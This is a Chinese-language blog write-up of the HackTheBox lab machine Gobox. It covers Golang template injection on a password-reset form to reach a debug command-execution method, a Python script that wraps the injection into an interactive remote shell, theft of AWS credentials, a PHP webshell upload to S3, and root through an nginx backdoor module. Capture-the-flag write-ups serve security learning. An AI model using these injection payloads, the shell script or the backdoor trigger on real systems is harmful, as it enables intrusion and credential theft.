Gobox-HackTheBox

整体还是挺难的,但我不太喜欢最后的tricks

Cloud Tracck算是打完了,最后一台挣扎了一段时间,后面看writeup需要逆向的知识,明天VIP就过期了,没时间研究哩

信息收集

端口扫描

4566直接访问会403

80和8080目录爆破无果

GoLang SSTI GetShell

http://10.10.11.113:8080/forgot/ 尝试SSTI会502

这时候没招了,看了一下writeup,原来确实是SSTI,只不过是Golang的。又学到了

https://forum.butian.net/share/1286

返回模板中的所有内容

看起来非常像账号密码,登陆后直接爆出源代码

很明显送了个RCE

1
2
3
4
5
6
7
8
9
10
11
12
func (u User) DebugCmd (test string) string {
ipp := strings.Split(test, " ")
bin := strings.Join(ipp[:1], " ")
args := strings.Join(ipp[1:], " ")
if len(args) > 0{
out, _ := exec.Command(bin, args).CombinedOutput()
return string(out)
} else {
out, _ := exec.Command(bin).CombinedOutput()
return string(out)
}
}

成功执行命令

自制Shell

能执行的命令相当有限,反弹Shell一直失败。以为是Glang SSTI的知识盲区,又去看了一下writeup。大伙也反弹不了,通过Python脚本做了个方便执行命令的Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from cmd import Cmd
import requests
import re

class Term(Cmd):
prompt = "pythonshell> "
pattern = re.compile(r'Email Sent To: (.*?)\s+<button class="btn btn-primary', re.DOTALL)
def default(self, args):
cmd = args.replace('"', '\\"')
res = requests.post('http://10.10.11.113:8080/forgot/', data = {"email":f'{{{{ .DebugCmd "{cmd}" }}}}'})
try:
res = self.pattern.search(res.text).group(1)
print(res)
except Exception as e:
print(e)

def do_exit(self, args):
return True

term = Term()
term.cmdloop()

能执行的命令相当有限

/root下发现了aws凭据

容器逃逸

看到s3里的内容,就是主站的内容。而且是PHP,可以试试上传个Webshell

写个经典的🐎,再上传上去

Ubuntu用户的user flag被设置成644,导致任何人都可以读

提权阶段

4566端口之前访问会直接403,这里存在一个硬编码token

又留意到下面这个command on;没见过这种配置,感觉是个非正常行为。

Nginx后门提权

留意到nginx使用root用户运行

modules-enabled 目录下发现 backdoor.conf

了解了一下真是后门

按照项目信息直接执行没有回复

又看了下writeup,strings发现ippsec.run。才能执行命令


Gobox-HackTheBox
http://aurey7.github.io.git/2023/09/19/Gobox-HackTheBox/
作者
Aurey7
发布于
2023年9月19日
许可协议